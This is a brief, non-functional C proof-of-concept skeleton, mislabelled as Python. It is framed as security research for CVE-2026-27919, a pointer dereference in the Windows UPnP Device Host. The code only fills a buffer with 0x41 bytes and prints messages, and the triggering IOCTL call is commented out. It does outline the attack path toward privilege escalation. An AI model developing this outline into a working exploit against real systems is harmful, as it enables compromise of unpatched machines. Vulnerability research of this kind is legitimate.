The following code is for security research and authorized testing only.
python
/*
* PoC Concept for CVE-2026-27919
* This is a conceptual demonstration of triggering the vulnerability.
* Actual exploitation requires precise memory layout manipulation.
*/
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hDevice;
DWORD bytesReturned;
// 1. Target the vulnerable UPnP Device Host interface
// Note: The actual device name or IOCTL would need reverse engineering
printf("[*] Attempting to access UPnP Device Host...\n");
// 2. Craft input buffer containing the untrusted pointer
// 0x41414141 represents a controlled memory address to dereference
char maliciousBuffer[0x20];
memset(maliciousBuffer, 0x41, sizeof(maliciousBuffer));
// 3. Send IOCTL to trigger the dereference
// DeviceIoControl(hDevice, IOCTL_VULNERABLE_FUNC, ...);
printf("[!] Triggering pointer dereference...\n");
// In a real exploit, this would cause the crash or privilege escalation
return 0;
}